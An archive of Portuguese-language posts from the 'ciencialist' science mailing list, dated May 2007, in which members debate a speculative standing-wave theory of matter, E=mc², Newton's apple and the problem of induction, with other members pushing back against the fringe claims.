> pequenas e
> contendo energias tão avalasadoras que
> sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam
> intervalos
> atemporais que aprisionariam as ondas
> de matérias,
> transformando-as no que chamamos de
> partículas. Isto
> evidenciaria o tempo uma entidade discreta e não
> contínua. As
> ondas estariam aprisionadas de tal forma que
> somente em
> colisões com outras partículas, sob determinados
> aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras
> condições,
> as partículas poderiam ser absorvidas e por aí
> vai...
>
> Estes comentários são só esboços de um trabalho
> maior que
> tentam apenas demonstrar a grande evidência
> apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>
>
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>
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>
>
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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 12:02

>
>A conclusão de que a matéria é uma onda
>estacionária em trajetória fechada é algo
>interessante. Contudo ela tb esbarra na
>questão do 'recipiente' ou 'anteparo' da onda.
>Ou estarei enganado? Na Teoria da Velocidade
>Absoluta, o que faz a onda de energia refletir
>para tornar-se estacionária?
>

Eu tenho uma idéia (uma "viagem") sobre isso e gostaria que o pessoal aí
analisasse. Considerem que eu não sou físico ou matemático, só um computeiro
curioso :-)

Eu *imagino* que uma partícula elementar de matéria seja um quantum de
energia pura que ficou confinado, por causa de sua baixíssima energia, numa
dimensão menor, exatamente do tamanho do comprimento de planck! Do mesmo
modo que o que confina a energia do nosso universo seria o espaço-tempo!
Assim, de acordo com a quantidade de energia do quantum, este ficaria
confinado nesta minúscula dimensão ou não (como a luz - as ondas "livres").
Penso então que as barreiras dimensionais sejam apenas a quantidade de
energia! Uma quantidade maior de energia poderia "furar" esta barreira e
navegar pelo nosso universo (teria, portanto, criado o nosso universo) e
energias muito maiores ainda poderiam "furar" o nosso universo, indo para
dimensões maiores ainda!!!

Será que "viajei" muito? :-)

Um abraço,
Jeff.



SUBJECT: Re: [ciencialist] P/ J.Vitor - Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 12:02

Victor e Homero!

Eis algumas divergencias entre arte e ciencia:

a) arte não é óbvia.
b) arte não é exata.
c) arte é analógica.

Pra quem pratica literatura, o poema de Drummond é uma
espécie de e=mc2. Ou seja, ele encontrou uma equação
artistica (literaria) genial porque expressa diversas
analogias ao mesmo tempo. Note que o poema, embora
feito de palavras concretas (pedra, caminho) possui um
universalidade, pois a pedra e o caminho tem varias
leituras analógicas.

Bem, tem muita coisa ai que poderia falar a respeito.
Mas se me estender vamos estar falando sobre arte numa
lista de ciencia, e como sabem, estou sobre severa
moderação.


sinceramente
ferrari







--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá J.Victor
>
> Victor: "Bem, vou aproveitar para dizer uma asneira
> para muitos, exceto para mim. Esse poema de
> Drumond poderia muito bem nunca ter sido escrito. É
> ridículo, e as frases além da primeira
> não mostram a genialidade do poeta. Acho que ele
> está é gozando com todo mundo! "
>
> He, he, he..já que você abriu o precedente, e malhou
> um monstro sagrado, vou aproveitar e dizer o
> indizivel: penso a mesma coisa, ô poeminha
> babaca..:-)
>
> Coisa de pós-modernista, digno de ser achincalhado
> pelo Sokal e sua cruzada contra as imposturas
> intelectuais. Não significa que o resto da produção
> artistica de Drumond seja toda ela do mesmo naipe,
> ainda que eu não goste de poesia em geral (gosto de
> Rosas de Hiroshima, mais ainda na voz dos Secos e
> Molhados, e acho Elegia 1938 bem sonoro e
> interessante), mas sim que este poema em especial me
> parece idota demais.
>
> Tinha uma pedra no meio do caminho, e fez Drumond
> tropeçar feio..:-)
>
> Um abraço.
>
> Homero
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>




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SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 12:47

Olá Alvaro!

Alvaro >>> O seu jogo de palavras e tentativa de
confusão semântica fariam sucesso no Forum Social
Mundial, onde a dialética vale mais do que os fatos.
Mas não aqui.

--- Não é jogo de palavras e troca de raciocinio.
Palavras são apenas os braços do raciocinio. Estou
jogando sim com o raciocinio do leitor, e o motivo é
simples, possibilitar uma mudança de raciocinio do
leitor com a leitura. Mas a obrigação não é uma
obrigação, é uma oferta.

Alvaro >>> A sua tentativa de escapar do fato de não
ter mencionado a "queda da Lua", por exemplo, é
simplesmente patética.

--- Poxa, Alvaro, é simples, não mencionei porque
"fisica" não é o foco do artigo, o foco é explicar a
relação entre raciocinio e método cientifico. Só isto.
Usei a história da maça por motivios didáticos. Ela
tem várias qualidades didáticas, só isto. Poderia ter
usado outra, quimicas, biologicas, etc, se tivesse as
mesmas qualidades didaticas que procurava pra ilustrar
a explicação. Só isto.

Alvaro >>> Apesar do seu contorcionismo, vamos voltar
a ela: por que o fato de que a Lua cai é óbvio?

--- Ok, posso estar equivocado no caso da lua cair. Se
é uma observação direta assim como a queda da maça. E
se é sempre, assim como a queda da maça. Então a queda
da lua entra na definição de óbivo também, pois
satisfaz estas regras da definição. Mas sugiro que não
se pegue tanto a fisiques do artigo ao le-lo, mas sim
a relação raciocinio e metodo cientifico, que é sobre
o ele fala.


sinceramente
ferrari







> ----- Original Message -----
> From: "Ferrari" <emailferrari@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, May 08, 2007 9:34 AM
> Subject: Re: [ciencialist] O Que é Fazer Ciencia?
> ::: (artigo sobre o método
> cientifico e o tempo)
>
>
> > Olá Alvaro!
> >
> > Alvaro >>> "Lei do sempre"? Que tristeza reduzir o
> > problema da indução de Hume a uma verdade
> empacotada!
> >
> > --- Alvaro, respeito sua tristeza e sua
> interpretação,
> > mas não compartilho delas. Não acho que uma
> > compreensão, para ser verdadeira, tenha que ser
> > complexa. Acho justamente o contrário. Acho que
> deve
> > ser simples e analogica. E não escrevi o artigo
> > baseado no Hume, meu raciocinio e o dele são
> analogos
> > porque observamos a mesma verdade. O mesmo óbvio
> de
> > sempre.
> >
> > Alvaro >>> O grande filósofo, assim como tantos
> depois
> > dele, concluiu que nada, absolutamente nada, pode
> nos
> > garantir que um fenômeno que aconteceu milhões de
> > vezes irá acontecer novamente.
> >
> > --- "Tudo agora mesmo pode estar por um segundo",
> > canta Gilberto Gil. A chave da questão aqui está
> na
> > palavra "garantir", concorda? O que é garantia? E
> qual
> > é sua ligação com o tempo?
> >
> > Alvaro >>> É apenas nossa psicologia que nos induz
> a
> > esse raciocínio, pois buscamos desesperadamente
> por
> > ordem no universo.
> >
> > --- Algumas das questões aqui são:
> >
> > a) e o raciocinio tem outra opção?
> > b) o que é ordem?
> > c) se é o raciocinio que organiza o universo, quem
> > organiza o raciocinio.
> >
> > Alvaro >>> Também é desagradável ver que você
> reduziu
> > uma das descobertas de Newton a uma trivialidade.
> >
> > --- Alvaro, usei a histórinha da maça como base
> para o
> > leitor visualizar o que é fazer ciencia. Meu
> objetivo
> > com o artigo não é falar sobre a teoria da
> gravidade,
> > mas sim sobre a relação entre o raciocinio e o
> método
> > cientifico.
> >
> > Alvaro >>> Sim, muitos antes de Newton haviam
> > percebido que maçãs caem, que laranjas caem, que
> > meteoros caem. Mas Newton foi o primeiro a
> perceber
> > que a Lua (que você não cita no seu texto) também
> cai.
> > E isso não é trivial. Nem óbvio.
> >
> > --- Como disse acima, o artigo não trata da teoria
> da
> > gravidade, mas como coloquei no assunto "O Que é
> Fazer
> > Ciencia? ::: (artigo sobre o método cientifico e o
> > tempo)". Sobre o fato da lua cair não ser óbvio, é
> > porque isto é um adedução. E o óbvio é o
> observavel, e
> > não o deduzido. As discordancias cientificas se
> dão no
> > ambito das deduções e não das observações. Assim,
> uma
> > dedução cientifica pode ser óbvia só pra voce e
> pra
> > mais ninguém, e ainda assim se mantér como um
> "dedução
> > cientifica" (hipótese). Mas se uma "observação
> > cientifica" for óbvia só pra voce, ai nem
> cientifica
> > ela será considerada, não é mesmo? Sendo assim, o
> > óbvio no qual o texto trata é o óbvio cientifico
> > (observavel). Ou seja, é o fenomeno que é sempre
> óbvio
> > e sempre observavel por todos os observadores
> > (humanos).
> >
> > Resumindo: o óbvio (cientifico) é o sempre
> > (cientifico). Teorias sobre o óbvio mudam porque
> não
> > são o óbvio, são teorias sobre o óbvio. O óbvio
> não
> > muda porque é sempre. Se não fosse sempre, não
> seria
> > óbvio. Isto não lhe parece óbvio?
> >
> >
> >
> >
> > sinceramente
> > ferrari
> >
> >
> >
> >
> >
> >
> >> ----- Original Message -----
> >> From: "Ferrari" <emailferrari@yahoo.com.br>
> >> To: <ciencialist@yahoogrupos.com.br>
> >> Sent: Monday, May 07, 2007 8:18 AM
> >> Subject: [ciencialist] O Que é Fazer Ciencia? :::
> >> (artigo sobre o método
> >> cientifico e o tempo)
> >>
> >>
> >> >O QUE É FAZER CIÊNCIA? - por Ferrari
> >> > http://leisdosempre.blogspot.com
> >> >
> >> > (sobre o método cientifico e o tempo)
> >> >
> >> > Conta a história, que Issac Newton estava
> >> dormindo,
> >> > quando uma maça caiu sobre sua cabeça. Ele
> poderia
> >> ter
> >> > ignorado o incomodo e continuado seu cochilo.
> Mas
> >> não:
> >> > eureka! Newton acordou da ignorancia e viu a
> lei
> >> da
> >> > gravidade! Se esta história é real ou
> imaginária,
> >> não
> >> > importa, ela é perfeita para ilustrar o que
> >> significa
> >> > "fazer ciência".
> >> >
> >> >>>> Fazer ciência é ver o óbvio.
> >> >
> >> > Fazer ciência é fazer o que Issac Newton fez:
> ver
> >> o
> >> > óbvio. Maças caem. Laranjas caem. Xícaras caem.
> >> > Meteoros caem. Todas os corpos caem. É óbvio.
> Não
> >> há
> >> > nenhuma novidade neste comportamento da
> natureza.
> >> > Estamos cansados de ver coisas caindo,
> repetidas
> >> > vezes, todos os dias, sempre. O que tem de
> genial
> >> em
> >> > ver o óbvio?
> >> >
> >> >>>> Óbvio é sempre. (padrão repetitivo).
> >> >
> >> > O genial na visão de Newton não foi ver a maça
> >> caindo,
> >> > isto ele já estava cansado de ver. O genial na
> >> visão
> >> > de Newton foi ver que este comportamento (a
> queda
> >> da
> >> > maça) era um padrão sempre.
> >> >
> >> >>>> Fazer ciência é ver o sempre (repetição
> >> eterna).
> >> >
> >> > Newton não viu a maça caindo, ele viu um
> fenomeno
> >> que
> >> > se repetia sempre da mesma maneira: a queda.
> >> Depois
> >> > viu uma inteligencia natural (lei do sempre)
> >> > responsável por fazer aquele fenomeno se
> repetir
> >> > sempre da mesma maneira. Porém, para Newton ver
> >> esta
> >> > inteligencia natural (lei do sempre), Newton
> não
> >> usou
> >> > os mesmos olhos que ele usava para ver as
> coisas
> >> > (fisicas).
> >> >
> >> >>>> Fazer ciência é ver as leis do sempre com os
> >> olhos
> >> > da lógica.
> >> >
> >> > Maças caem sempre. Laranjas caem sempre.
> Xícaras
> >> caem
> >> > sempre. Meteoros caem sempre. Todas os corpos
> caem
> >> > sempre. SE tudo na natureza sempre cai, LOGO,
> cair
> >> é
> >> > uma lei eterna na natureza. SE repete Sempre,
> >> LOGO,
> >> > segue Sempre a mesma regra.
> >> >
> >> >>>> Fazer ciência é imaginar as leis do sempre.
> >> >
> >> > Newton não criou o comportamento repetitivo da
> >> > natureza (a queda), mas ele foi o primeiro a
> >> imaginar
> >> > um raciocínio (teoria) que explica este
> >> comportamento.
> >> > Esta raciocínio (teoria) que ele imaginou é
> >> > popularmente conhecida como "lei da gravidade".
> >> >
> >> >>>> Conhecimento cientifico é um livro de
> >> raciocínios
> >> > (teorias) sobre o sempre.
> >> >
> >> > Ao raciocinar o fenomeno da queda e imaginar a
> lei
> >> da
> >> > gravidade, Newton contribuiu para mais uma
> página
> >> > deste livro de suposições sobre o sempre que
> >> chamamos
> >> > de conhecimento cientifico.
> >> >
> >> >>>> Conhecimento cientifico é uma tentativa de
> >> prever
> >> > o futuro.
> >> >
> >> > Se as leis naturais que irão reger o momento
> >> futuro
> >> > são exatamente as mesmas leis que estavam
> regendo
> >> o
> >> > passado --- ou seja, se são mesmo leis eternas
> ---
> >> e
> >> > se a forma como raciocinamos estas leis são
> >> > equivalentes a realidade --- então, uma teoria
> >> > cientifica (regra cientifica) dá ao cérebro o
> >> > conhecimento desta lei e, consequentemente, a
> >> > capacidade de pré-visão do futuro através da
> >> simulação
> >> > mental.
> >> >
> >> >>>> A teoria cientifica (regra cientifica)
> otimiza
> >> o
> >> > sucesso no objetivo.
> >> >
> >> > Uma teoria cientifica, por ser fruto de muita
> >> > experiência, minimiza a possibilidade de erro e
> >> > otimiza a possibilidade de acerto dos seus
> >> usuários.
> >> > Por exemplo, se a regra cientifica diz que
> chove
> >> no
> >> > verão e faz frio no inverno, uma pessoa pode
> usar
> >> esta
> >> > regra cientifica, por exemplo, para obter
> sucesso
> >> na
> >> > agricultura da cana de açúcar.
> >> >
> >> >
> >
>
>




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SUBJECT: Material, imaterial e amaterial/Era Re: E=m.c2
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 13:54

Olá.

> Agora, vamos complicar um pouco a questão: o conceito de
"informação"
> tornou o debate entre materialistas e idealistas um problema
> (quase) irresolúvel.

Resta saber o que diabos é a informação. Se a ciência cognitiva está
correta, a informação é a "substância" da qual é feito o espírito, a
consciência, a alma, ou seja lá o nome que se queira dar para isso. É
interessante observar que, se nós somos um padrão informacional, ao
morrermos nós continuamos a existir potencialmente, pois este padrão
informacional poderia ser recriado, especialmente se essa informação
ficar ecoando em alguma espécie de "campo." Essa idéia da informação
ecoando num "campo", num "domínio informacional", no "campo mórfico"
do Rupert Sheldrake, poderia lançar alguma luz sobre a existência de
fantasmas, reencarnação e outras coisas do gênero. É possível que, no
ano 50 mil, "máquinas" poderão criar os padrões informacionais de
todos os seres humanos do passado, e nós voltaremos à vida. Se os
"homens" dessa época não conseguirem fazer isto, talvez aqueles do
ano 1 milhão consigam. Um milhão de anos não são nada para a história
da Terra, ou mesmo para uma espécie biológica, mas para o nosso vetor
tecnológico ascendente, é quase uma infinidade de tempo. Se eu não me
engano, tem um cara relacionado ao ponto ômega que defende essa
idéia. Eu trato disso no último capítulo de meu livro, quando procuro
bases para uma nova sacralidade fundamentadas na informação e na
matemática.

> Só lembro que há muitos
> matemáticos - entre os quais Gödel e Penrose - que sustentam a
> anterioridade da razão matemática em relação à matéria/energia

Talvez Pitágoras, por estar no início, visse isso com clareza. Kepler
também via na matemática a expressão de algo divino. Desconfio que
Newton também. Não sei qual é a posição de Galileu sobre o assunto,
mas ele me parece ser mais materialista, até porque ele estava na
Itália, na linha de frente da guerra da ciência contra a religião.

Saudações.
João de Carvalho





SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 14:21


Sardeiro: A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Victor: Sinceramente, não sei. Vislumbro algumas
possibilidades, mas não me dediquei a pensar
sobre isso. Como disse, apenas achei interessante e tive o
trabalho de acompanhar o desenvolvimento matemático
que dá suporte à tese, vendo-lhe as consequências.
Mas sem engajamento ou algum interêsse sério.
Por razões óbvias. Mas fica a indicação, e quem pensa
assim não está só. É isso.

sds,
Victor.



----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:11 AM
Subject: Re: [ciencialist] Re: E=m.c2


Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei se se trata de engenheiro eletrônico que é físico, ou se é um físico que é engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas ao compormos este triângulo de velocidades nota-se que a resultante, isto é, a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim, as outras velocidades menores que c serão meros componentes de c. Concluí-se, diz ele, que no mundo material não há velocidade independente de c, já que no mundo material todas as velocidades são de matéria ou energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v, que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são implementadas, matemática e geométricamente, em forma de catetos, com a hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos, constroi uma estrutura de onde retira os principais resultados da TRR. É um pouco diferente dos estudos homólogos feitos por autores consagrados, que usam triângulos como artifício de memorização de fórmulas. Seu enfoque centra-se na tese acima, o que diferencia os desenvolvimentos. Assim, encontram-se os seguintes triângulos: de velocidades, das massas, da Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um embasamento matemático consistente, embora a tese física seja questionável. Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre as tentativas, em busca de outras alternativas. Que são só tentativas, ao fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito, embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>

[As partes desta mensagem que não continham texto foram removidas]

----------------------------------------------------------
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[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 14:29

Caro Ferrari,

A "história da maçã", além de provavelmente apócrifa, é frequentemente mal
contada. O insight de Newton não foi ter percebido que as maçãs caíam. Isso
já havia sido percebido há séculos, até mesmo por Aristóteles, que tinha uma
explicação, digamos, aristotélica. O insight de Newton foi perceber que, se
as maçãs caíam, os planetas e satélites também deveriam cair. Foi essa
descoberta que colocou o "universal" na "lei da gravitação universal". E
isso é coisa tão pouco óbvia que nem os chineses sabiam dela (e hoje em dia
parece haver um chinês que descobriu de maneira independente cada um dos
fenômenos da física ocidental).

E a descoberta pouco óbvia de Newton conduziu a outras descobertas ainda
menos óbvias. Por exemplo, a lei da gravitação universal previa que os
planetas, além de serem afetados pelo Sol, deveriam afetar as órbitas uns
dos outros também. A partir de cálculos baseados nas perturbações da órbita
de Urano, dois matemáticos previram então que deveria haver um planeta
desconhecido, posteriormente batizado como Netuno, localizado em tais e tais
coordenadas. Os astrônomos apontaram os telescópios para as coordenadas
previstas e lá estava o planeta!

Agora só falta você dizer que é óbvio que uma maçã caindo sobre a cabeça de
Sir Isaac Newton implica na existência de um planeta com 17 vezes a massa da
Terra, localizado a 4,5 bilhões de quilômetros do Sol!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 11:36 AM
Subject: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o
método cientifico e o tempo)


> Olá Homero!
>
> Homero >>> Ver o óbvio??!?!?! Óbvio é que o Sol gira
> ao redor de nós, que as estrelas são pregadas em uma
> abóboda celestial fixa...
>
> --- Homero, a explicação que dei ao Alvaro, na mesma
> thread, é a mesma que tenho para lhe dar aqui. Por
> favor, lendo-a, creio que me entenderá melhor. Se
> ainda assim não entender, estou a disposição para o
> debate sobre o assunto.
>
> Homero >>> está a léguas de distância de sua atual
> capacidade em termos de conhecimentos básicos de
> física
>
> --- Como disse ao Alvaro, este artigo não foi escrito
> para tratatar da questão da fisica e da gravitação,
> mas da relação entre raciocinio e método cientifico.
> Ou seja, o "fazer ciencia" e não o "fazer fisica".
>
> Homero >>> antes de ficar bravo, lembre-se de que não
> é demérito ignorar conhecimentos científicos
>
> --- Com certeza. Sei da minha ignorancia da linguagem
> da fisica. E não escondo de ninguém. Não tenho porque.
> E poir! Nem como.
>
> Homero >>> Newton não "percebeu" que tudo caia, o que
> é óbvio e já havia sido notado provavelmente até por
> nossos antepassados australopitecus, ele demonstrou
> como as relações entre corpos poderiam ser descritas
> em termos matemáticos precisos e confiáveis.
>
> --- Novamente, Homero, como explico ao Alvaro, apenas
> usei a história da maça, porque é uma história muito
> conhecida, curiosa e ilustrativa. Poderia ter usado
> outra, se tivesse estas caracteriscas também. O motivo
> foi por didática no estudo sobre metodo cientifico e o
> raciocinio e não para se compreender e estudar a
> gravitação ou a fisica.
>
> Homero >>> Assim fica difícil, Ferrari.:-)
>
> --- Ruido de comunicação. Nenhuma comunicação e
> perfeita, nem quando conversamos com nós mesmos. O
> jeito é ir tirando o ruido.
>
>
> outro abraço
> sinceramente
> ferrari
>
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
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> mferrari-subscribe@yahoogrupos.com.br
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>



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 14:31

Essa hipótese da "onda estacionária" nada mais é do que uma maneira
diferente de escrever os postulados de Bohr. E o modelo do átomo de Bohr
funciona bem para o hidrogênio, razoavelmente bem para o hélio, mas falha
para todo o restante.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 2:21 PM
Subject: Re: [ciencialist] Re: E=m.c2



Sardeiro: A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Victor: Sinceramente, não sei. Vislumbro algumas
possibilidades, mas não me dediquei a pensar
sobre isso. Como disse, apenas achei interessante e tive o
trabalho de acompanhar o desenvolvimento matemático
que dá suporte à tese, vendo-lhe as consequências.
Mas sem engajamento ou algum interêsse sério.
Por razões óbvias. Mas fica a indicação, e quem pensa
assim não está só. É isso.

sds,
Victor.



----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:11 AM
Subject: Re: [ciencialist] Re: E=m.c2


Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
